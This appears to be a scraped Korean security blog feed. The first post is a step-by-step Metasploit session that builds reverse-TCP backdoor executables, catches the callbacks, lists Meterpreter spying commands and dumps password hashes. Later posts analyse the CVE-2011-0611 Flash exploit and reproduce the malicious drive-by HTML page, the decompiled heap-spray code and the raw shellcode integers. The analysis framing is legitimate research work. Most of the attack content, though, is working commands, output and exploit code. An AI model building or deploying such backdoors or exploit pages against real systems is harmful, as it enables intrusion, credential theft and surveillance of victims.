OSX Command Shell, Bind TCP Stager osx/ppc/shell/find_tag normal OSX Command Shell, Find Tag Stager osx/ppc/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager osx/ppc/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline osx/ppc/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline osx/x86/bundleinject/bind_tcp normal Mac OS X Inject Mach-O Bundle, Bind TCP Stager osx/x86/bundleinject/reverse_tcp normal Mac OS X Inject Mach-O Bundle, Reverse TCP Stager osx/x86/exec normal OSX Execute Command osx/x86/isight/bind_tcp normal Mac OS X x86 iSight photo capture, Bind TCP Stager osx/x86/isight/reverse_tcp normal Mac OS X x86 iSight photo capture, Reverse TCP Stager osx/x86/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline osx/x86/shell_find_port normal OSX Command Shell, Find Port Inline osx/x86/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline osx/x86/vforkshell/bind_tcp normal OSX (vfork) Command Shell, Bind TCP Stager osx/x86/vforkshell/reverse_tcp normal OSX (vfork) Command Shell, Reverse TCP Stager osx/x86/vforkshell_bind_tcp normal OSX (vfork) Command Shell, Bind TCP Inline osx/x86/vforkshell_reverse_tcp normal OSX (vfork) Command Shell, Reverse TCP Inline php/bind_perl normal PHP Command Shell, Bind TCP (via perl) php/bind_php normal PHP Command Shell, Bind TCP (via php) php/download_exec normal PHP Executable Download and Execute php/exec normal PHP Execute Command php/meterpreter/bind_tcp normal PHP Meterpreter, Bind TCP Stager php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP stager php/meterpreter_reverse_tcp normal PHP Meterpreter, Reverse TCP Inline php/reverse_perl normal PHP Command, Double reverse TCP connection (via perl) php/reverse_php normal PHP Command Shell, Reverse TCP (via php) php/shell_findsock normal PHP Command Shell, Find Sock solaris/sparc/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline solaris/sparc/shell_find_port normal Solaris Command Shell, Find Port Inline solaris/sparc/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline solaris/x86/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline solaris/x86/shell_find_port normal Solaris Command Shell, Find Port Inline solaris/x86/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline tty/unix/interact normal Unix TTY, Interact with established connection windows/adduser normal Windows Execute net user /ADD windows/dllinject/bind_ipv6_tcp normal Reflective Dll Injection, Bind TCP Stager (IPv6) windows/dllinject/bind_nonx_tcp normal Reflective Dll Injection, Bind TCP Stager (No NX or Win7) windows/dllinject/bind_tcp normal Reflective Dll Injection, Bind TCP Stager windows/dllinject/find_tag normal Reflective Dll Injection, Find Tag Ordinal Stager windows/dllinject/reverse_http normal Reflective Dll Injection, PassiveX Reverse HTTP Tunneling Stager windows/dllinject/reverse_ipv6_tcp normal Reflective Dll Injection, Reverse TCP Stager (IPv6) windows/dllinject/reverse_nonx_tcp normal Reflective Dll Injection, Reverse TCP Stager (No NX or Win7) windows/dllinject/reverse_ord_tcp normal Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7) windows/dllinject/reverse_tcp normal Reflective Dll Injection, Reverse TCP Stager windows/dllinject/reverse_tcp_allports normal Reflective Dll Injection, Reverse All-Port TCP Stager windows/dllinject/reverse_tcp_dns normal Reflective Dll Injection, Reverse TCP Stager (DNS) windows/download_exec normal Windows Executable Download and Execute windows/exec normal Windows Execute Command windows/messagebox normal Windows MessageBox windows/meterpreter/bind_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6) windows/meterpreter/bind_nonx_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/meterpreter/bind_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager windows/meterpreter/find_tag normal Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager windows/meterpreter/reverse_http normal Windows Meterpreter (Reflective Injection), PassiveX Reverse HTTP Tunneling Stager windows/meterpreter/reverse_https normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager windows/meterpreter/reverse_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6) windows/meterpreter/reverse_nonx_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/meterpreter/reverse_ord_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/meterpreter/reverse_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager windows/meterpreter/reverse_tcp_allports normal Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager windows/meterpreter/reverse_tcp_dns normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS) windows/metsvc_bind_tcp normal Windows Meterpreter Service, Bind TCP windows/metsvc_reverse_tcp normal Windows Meterpreter Service, Reverse TCP Inline windows/patchupdllinject/bind_ipv6_tcp normal Windows Inject DLL, Bind TCP Stager (IPv6) windows/patchupdllinject/bind_nonx_tcp normal Windows Inject DLL, Bind TCP Stager (No NX or Win7) windows/patchupdllinject/bind_tcp normal Windows Inject DLL, Bind TCP Stager windows/patchupdllinject/find_tag normal Windows Inject DLL, Find Tag Ordinal Stager windows/patchupdllinject/reverse_ipv6_tcp normal Windows Inject DLL, Reverse TCP Stager (IPv6) windows/patchupdllinject/reverse_nonx_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_ord_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupdllinject/reverse_tcp normal Windows Inject DLL, Reverse TCP Stager windows/patchupdllinject/reverse_tcp_allports normal Windows Inject DLL, Reverse All-Port TCP Stager windows/patchupdllinject/reverse_tcp_dns normal Windows Inject DLL, Reverse TCP Stager (DNS) windows/patchupmeterpreter/bind_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (IPv6) windows/patchupmeterpreter/bind_nonx_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (No NX or Win7) windows/patchupmeterpreter/bind_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager windows/patchupmeterpreter/find_tag normal Windows Meterpreter (skape/jt injection), Find Tag Ordinal Stager windows/patchupmeterpreter/reverse_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (IPv6) windows/patchupmeterpreter/reverse_nonx_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_ord_tcp normal Windows Meterpreter (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/patchupmeterpreter/reverse_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager windows/patchupmeterpreter/reverse_tcp_allports normal Windows Meterpreter (skape/jt injection), Reverse All-Port TCP Stager windows/patchupmeterpreter/reverse_tcp_dns normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (DNS) windows/shell/bind_ipv6_tcp normal Windows Command Shell, Bind TCP Stager (IPv6) windows/shell/bind_nonx_tcp normal Windows Command Shell, Bind TCP Stager (No NX or Win7) windows/shell/bind_tcp normal Windows Command Shell, Bind TCP Stager windows/shell/find_tag normal Windows Command Shell, Find Tag Ordinal Stager windows/shell/reverse_http normal Windows Command Shell, PassiveX Reverse HTTP Tunneling Stager windows/shell/reverse_ipv6_tcp normal Windows Command Shell, Reverse TCP Stager (IPv6) windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7) windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7) windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager windows/shell/reverse_tcp_allports normal Windows Command Shell, Reverse All-Port TCP Stager windows/shell/reverse_tcp_dns normal Windows Command Shell, Reverse TCP Stager (DNS) windows/shell_bind_tcp normal Windows Command Shell, Bind TCP Inline windows/shell_bind_tcp_xpfw normal Windows Disable Windows ICF, Command Shell, Bind TCP Inline windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP Inline windows/speak_pwned normal Windows Speech API - Say You Got Pwned! windows/upexec/bind_ipv6_tcp normal Windows Upload/Execute, Bind TCP Stager (IPv6) windows/upexec/bind_nonx_tcp normal Windows Upload/Execute, Bind TCP Stager (No NX or Win7) windows/upexec/bind_tcp normal Windows Upload/Execute, Bind TCP Stager windows/upexec/find_tag normal Windows Upload/Execute, Find Tag Ordinal Stager windows/upexec/reverse_http normal Windows Upload/Execute, PassiveX Reverse HTTP Tunneling Stager windows/upexec/reverse_ipv6_tcp normal Windows Upload/Execute, Reverse TCP Stager (IPv6) windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7) windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7) windows/upexec/reverse_tcp normal Windows Upload/Execute, Reverse TCP Stager windows/upexec/reverse_tcp_allports normal Windows Upload/Execute, Reverse All-Port TCP Stager windows/upexec/reverse_tcp_dns normal Windows Upload/Execute, Reverse TCP Stager (DNS) windows/vncinject/bind_ipv6_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (IPv6) windows/vncinject/bind_nonx_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7) windows/vncinject/bind_tcp normal VNC Server (Reflective Injection), Bind TCP Stager windows/vncinject/find_tag normal VNC Server (Reflective Injection), Find Tag Ordinal Stager windows/vncinject/reverse_http normal VNC Server (Reflective Injection), PassiveX Reverse HTTP Tunneling Stager windows/vncinject/reverse_ipv6_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (IPv6) windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7) windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7) windows/vncinject/reverse_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager windows/vncinject/reverse_tcp_allports normal VNC Server (Reflective Injection), Reverse All-Port TCP Stager windows/vncinject/reverse_tcp_dns normal VNC Server (Reflective Injection), Reverse TCP Stager (DNS) windows/x64/exec normal Windows x64 Execute Command windows/x64/meterpreter/bind_tcp normal Windows x64 Meterpreter, Windows x64 Bind TCP Stager windows/x64/meterpreter/reverse_tcp normal Windows x64 Meterpreter, Windows x64 Reverse TCP Stager windows/x64/shell/bind_tcp normal Windows x64 Command Shell, Windows x64 Bind TCP Stager windows/x64/shell/reverse_tcp normal Windows x64 Command Shell, Windows x64 Reverse TCP Stager windows/x64/shell_bind_tcp normal Windows x64 Command Shell, Bind TCP Inline windows/x64/shell_reverse_tcp normal Windows x64 Command Shell, Reverse TCP Inline windows/x64/vncinject/bind_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager windows/x64/vncinject/reverse_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager msf \u0026gt; use windows/vncinject/reverse_tcp msf payload(reverse_tcp) \u0026gt; show options Module options (payload/windows/vncinject/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AUTOVNC true yes Automatically launch VNC viewer if present EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy VNCPORT 5900 yes The local port to use for the VNC proxy msf payload(reverse_tcp) \u0026gt; set LHOST 192.168.109.1 LHOST =\u0026gt; 192.168.109.1 msf payload(reverse_tcp) \u0026gt; generate -h Usage: generate [options] Generates a payload. OPTIONS: -E Force encoding. -b \u0026lt;opt\u0026gt; The list of characters to avoid: \u0026#39;\\x00\\xff\u0026#39; -e \u0026lt;opt\u0026gt; The name of the encoder module to use. -f \u0026lt;opt\u0026gt; The output file name (otherwise stdout) -h Help banner. -i \u0026lt;opt\u0026gt; the number of encoding iterations. -k Keep the template executable functional -o \u0026lt;opt\u0026gt; A comma separated list of options in VAR=VAL format. -p \u0026lt;opt\u0026gt; The Platform for output. -s \u0026lt;opt\u0026gt; NOP sled length. -t \u0026lt;opt\u0026gt; The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war -x \u0026lt;opt\u0026gt; The executable template to use msf payload(reverse_tcp) \u0026gt; generate -f virus.exe -t exe [*] Writing 73802 bytes to virus.exe... msf payload(reverse_tcp) \u0026gt; ls -al virus.exe [*] exec: ls -al virus.exe -rwx------+ 1 ByJJoon None 73802 May 18 06:38 virus.exe msf payload(reverse_tcp) \u0026gt; file virus.exe [*] exec: file virus.exe virus.exe: PE32 executable (GUI) Intel 80386, for MS Windows msf payload(reverse_tcp) \u0026gt; use exploit/multi/handler msf exploit(handler) \u0026gt; set PAYLOAD windows/vncinject/reverse_tcp PAYLOAD =\u0026gt; windows/vncinject/reverse_tcp msf exploit(handler) \u0026gt; show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/vncinject/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AUTOVNC true yes Automatically launch VNC viewer if present EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy VNCPORT 5900 yes The local port to use for the VNC proxy Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) \u0026gt; set LHOST 192.168.109.1 LHOST =\u0026gt; 192.168.109.1 msf exploit(handler) \u0026gt; exploit [*] Started reverse handler on 192.168.109.1:4444 [*] Starting the payload handler... [*] Sending stage (445440 bytes) to 192.168.109.128 [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vncviewer. [*] Session 1 created in the background. msf exploit(handler) \u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 msf exploit(handler) \u0026gt; use windows/meterpreter/reverse_tcp msf payload(reverse_tcp) \u0026gt; show options Module options (payload/windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port msf payload(reverse_tcp) \u0026gt; set LHOST 192.168.109.1 LHOST =\u0026gt; 192.168.109.1 msf payload(reverse_tcp) \u0026gt; generate -f virus2.exe -t exe [*] Writing 73802 bytes to virus2.exe... msf payload(reverse_tcp) \u0026gt; ls -al virus2.exe [*] exec: ls -al virus2.exe -rwx------+ 1 ByJJoon None 73802 May 18 06:50 virus2.exe msf payload(reverse_tcp) \u0026gt; file virus2.exe [*] exec: file virus2.exe virus2.exe: PE32 executable (GUI) Intel 80386, for MS Windows msf payload(reverse_tcp) \u0026gt; use exploit/multi/handler msf exploit(handler) \u0026gt; set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD =\u0026gt; windows/meterpreter/reverse_tcp msf exploit(handler) \u0026gt; show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.109.1 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) \u0026gt; exploit [*] Started reverse handler on 192.168.109.1:4444 [*] Starting the payload handler... [*] Sending stage (749056 bytes) to 192.168.109.128 [*] Meterpreter session 2 opened (192.168.109.1:4444 -\u0026gt; 192.168.109.128:1074) at 2011-05-18 06:51:23 +0900 meterpreter \u0026gt; help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel exit Terminate the meterpreter session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module use Deprecated alias for \u0026#39;load\u0026#39; write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory del Delete the specified file download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_list List webcams webcam_snap Take a snapshot from the specified webcam Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes meterpreter \u0026gt; hashdump Administrator:500:6c36913468365950aad3b435b51404ee:711161255cd9560e884378d0e28a5027::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:a51f93e4803b68166e1cee91c7744d1f:7d28b6b112e8f84513b8d1e3aa40d1a7::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:35db8a26c8621e45b0ef24a043665a23::: Test:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter \u0026gt; ","date":"2011-05-16T17:34:22Z","permalink":"/2011/05/16/metasploit%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EB%B0%B1%EB%8F%84%EC%96%B4-%EC%83%9D%EC%84%B1/","title":"Metasploit을 이용한 백도어 생성"},{"content":"CVE-2011-0611 취약점과 관련된 SWF에서 아래와 같인 코드가 확인된다고 한다.\n1 2 3 4 5 6 7 Date.prototype.c_fun = SharedObject.prototype.getSize; Date.prototype.getDay = function () { this.c_fun(); }; var eval(0) = new Date(1.41466385537348e-315); (eval(0)).getDay(); 1 2 3 Date.prototype.getDay = SharedObject.prototype.getSize; var d = new Date(8.30830068348057E-246); var __callResult_19 = d.getDay(); ","date":"2011-04-23T07:37:33Z","permalink":"/2011/04/23/adobe-flash-player-0-day-exploit-analysis-cve-2011-0611/","title":"Adobe Flash Player 0-day Exploit (CVE-2011-0611)"},{"content":"최근에 Adobe Flash 취약점 (CVE-2011-0611) 이 발표되었다. 그리고 해당 취약점은 지난 주말에 악성코드 유포에 이용되어 국내에 관련 악성코드 피해건수가 꽤나 높게 나왔다.\n이번에 해당 취약점을 분석하면서 흥미로운 포스팅을 하나 보았다. 기존 웹을 통해 유포되는 악성코드는 대부분 취약점을 통해 쉘코드를 실행하는데, 이 쉘코드는 대부분 악성코드를 Download \u0026amp; Excute 하는 쉘코드이다.\n하지만 이번에 이용된 쉘코드는 기존과 달랐다. 어떻게 다른지 한번 살펴보자. 우선 취약점 관련 코드이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function getCookieVal (offset){ var endstr = document.cookie.indexOf (\u0026#34;;\u0026#34;, offset); if (endstr == -1) { endstr = document.cookie.length; } return unescape(document.cookie.substring(offset, endstr)); } function GetCookie (name){ var arg = name + \u0026#34;=\u0026#34;; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i \u0026lt; clen){ var j = i + alen; if (document.cookie.substring(i, j) == arg) return getCookieVal (j); i = document.cookie.indexOf(\u0026#34; \u0026#34;, i) + 1; if (i == 0) break; } return null; } function SetCookie (name, value){ var argv = SetCookie.arguments; var argc = SetCookie.arguments.length; var expires = (2 \u0026lt; argc) ? argv[2] : null; var path = (3 \u0026lt; argc) ? argv[3] : null; var domain = (4 \u0026lt; argc) ? argv[4] : null; var secure = (5 \u0026lt; argc) ? argv[5] : false; document.cookie = name + \u0026#34;=\u0026#34; + escape (value) + ((expires == null) ? \u0026#34;\u0026#34; : (\u0026#34;; expires=\u0026#34; + expires.toGMTString())) + ((path == null) ? \u0026#34;\u0026#34; : (\u0026#34;; path=\u0026#34; + path)) + ((domain == null) ? \u0026#34;\u0026#34; : (\u0026#34;; domain=\u0026#34; + domain)) + ((secure == true) ? \u0026#34;; secure\u0026#34; : \u0026#34;\u0026#34;); } function DisplayInfo(){ var expdate = new Date(); var visit; expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000 )); if(!(visit = GetCookie(\u0026#34;visit\u0026#34;))) visit = 0; visit++; SetCookie(\u0026#34;visit\u0026#34;, visit, expdate, \u0026#34;/\u0026#34;, null, false); return visit; } function code(){ var num=DisplayInfo(); if (num \u0026lt; 3){ return 1; } else{ return 0; } } function user(){ var t1=\u0026#34;\u0026lt;script type=\\\u0026#34;text/javascript\\\u0026#34;\u0026gt;window.onerror=function(){return true;};\u0026lt;\\/script\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;object width=\\\u0026#34;550\\\u0026#34; height=\\\u0026#34;400\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;param name=\\\u0026#34;movie\\\u0026#34; value=\\\u0026#34;done.swf\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;embed src=\\\u0026#34;t1.swf\\\u0026#34; width=\\\u0026#34;550\\\u0026#34; height=\\\u0026#34;400\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;\\/embed\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;\\/object\u0026gt;\u0026#34; ; var t8=\u0026#34;\u0026lt;script type=\\\u0026#34;text/javascript\\\u0026#34;\u0026gt;window.onerror=function(){return true;};\u0026lt;\\/script\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;object classID=yg.dll#yg.e\u0026gt;\u0026lt;\\/object\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;object width=\\\u0026#34;550\\\u0026#34; height=\\\u0026#34;400\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;param name=\\\u0026#34;movie\\\u0026#34; value=\\\u0026#34;done.swf\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;embed src=\\\u0026#34;t8.swf\\\u0026#34; width=\\\u0026#34;550\\\u0026#34; height=\\\u0026#34;400\\\u0026#34;\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;\\/embed\u0026gt;\\r\\n\u0026#34;+ \u0026#34;\u0026lt;\\/object\u0026gt;\u0026#34; ; var info = navigator.userAgent.toLowerCase(); var win = (navigator.platform == \u0026#34;Win32\u0026#34;) || (navigator.platform == \u0026#34;Windows\u0026#34;); var ck=code(); window.onerror=function(){return true;} var page=\u0026#34;\u0026#34;; var temp=navigator.userAgent.toLowerCase(); var ie6 = temp.indexOf(\u0026#34;msie 6.\u0026#34;)!=-1;var ie7 = temp.indexOf(\u0026#34;msie 7.\u0026#34;)!=-1;var ie8 = temp.indexOf(\u0026#34;msie 8.\u0026#34;)!=-1;if(ie8){ie6=false;ie7=false;}if(ie7){ie6=false;} var fox = temp.indexOf(\u0026#34;firefox/\u0026#34;)!=-1; var xp=((temp.indexOf(\u0026#39;windows nt 5.1\u0026#39;)!=-1)||(temp.indexOf(\u0026#39;windows xp\u0026#39;)!=-1)); if(ie6||ie7){document.body.innerHTML=\u0026#34;xxxx\u0026#34;+t1}else if(ie8){document.body.innerHTML=\u0026#34;xxxx\u0026#34;+t8}else{document.body.innerHTML=\u0026#34;xxxx\u0026#34;+t1}; } \u0026lt;/script\u0026gt; \u0026lt;script src=newsvine.jp2\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body onload=user()\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 코드를 보면 우선 t1.swf, t8.swf가 로드됨을 알 수 있다. 이 파일들로 인해 취약점이 발생하는 것이다. 그리고 하단에 보면 newsvine.jp2 파일을 삽입한다. 일단 newsvine.jp2 파일을 삽입함을 기억하고 넘어가도록 하자.\n이제 t1.swf 파일을 분석해보자. 디컴파일러를 통해 우선 코드를 확인해보자. 디컴파일러는 여러 제품이 있지만 이툴도 사용해볼만 하다.\nSWFScan : http://www.hp.com/go/swfscan\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 while(this.i \u0026lt; 1023) { writeBytes(this.s3, 0, this.s3.length); loc0 = this; loc1 = this.i + 1; loc0.i = this.i; } writeInt(2425393296); writeInt(2425393296); writeInt(3326443264); writeInt(1083216016); writeInt(3943717707); writeInt(63530681); writeInt(2231533620); writeInt(-69016838); writeInt(3943033067); writeInt(4294967051); writeInt(3118523106); . . [생략] . . writeInt(3123304899); writeInt(3806520034); trace(this.s.length); this.i = 0; this.i = 0; while(this.i \u0026lt; 176) { this.s2 = new ByteArray(); writeBytes(this.s, 0, this.s.length); trace(this.s2.length); push(this.s2); loc0 = this; loc1 = this.i + 1; loc0.i = this.i; } this.r = this.hexToBin(this.t); this.ldr = new Loader(); loadBytes(this.r); stop(); return; writeInt(숫자)로 된 부분이 쉘코드임을 알 수 있다. 따라서 writeInt(숫자) 로 된 부분만 따로 떼어 아래와 같이 코드를 작성하여 쉘코드를 분석할 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 #!/usr/bin/env python import re s = \u0026#39;\u0026#39;\u0026#39; writeInt(2425393296); writeInt(2425393296); writeInt(3326443264); writeInt(1083216016); writeInt(3943717707); writeInt(63530681); writeInt(2231533620); writeInt(-69016838); writeInt(3943033067); writeInt(4294967051); writeInt(3118523106); writeInt(3184599686); writeInt(1137894114); writeInt(3798573806); writeInt(1235416681); writeInt(3798590057); writeInt(2331142421); writeInt(2296888074); writeInt(82043618); writeInt(1107303050); writeInt(3520127714); writeInt(2327286151); writeInt(2427873764); writeInt(-88742942); writeInt(3798534792); writeInt(3820685877); writeInt(3823297024); writeInt(193629905); writeInt(3504507537); writeInt(2324139702); writeInt(1239681755); writeInt(3823297129); writeInt(-91692101); writeInt(-94641182); writeInt(3791657833); writeInt(107024054); writeInt(1226705404); writeInt(3138065634); writeInt(3806509067); writeInt(266527458); writeInt(3112755848); writeInt(3803426993); writeInt(2296520116); writeInt(4195031010); writeInt(3806464575); writeInt(220011905); writeInt(2407976071); writeInt(2592588493); writeInt(2713887917); writeInt(2965556656); writeInt(3267413943); writeInt(2980556978); writeInt(2964169899); writeInt(2930231230); writeInt(2928509315); writeInt(2395124103); writeInt(2526448524); writeInt(2240921270); writeInt(2274333325); writeInt(2424541339); writeInt(3266022550); writeInt(2274397319); writeInt(2529338507); writeInt(2391249342); writeInt(3233990539); writeInt(3266030786); writeInt(3398207381); writeInt(2442431372); writeInt(2278083720); writeInt(2463157186); writeInt(2796405450); writeInt(3397488518); writeInt(3431438983); writeInt(3267415425); writeInt(3263596430); writeInt(3268252098); writeInt(3348531087); writeInt(2462563985); writeInt(2491517581); 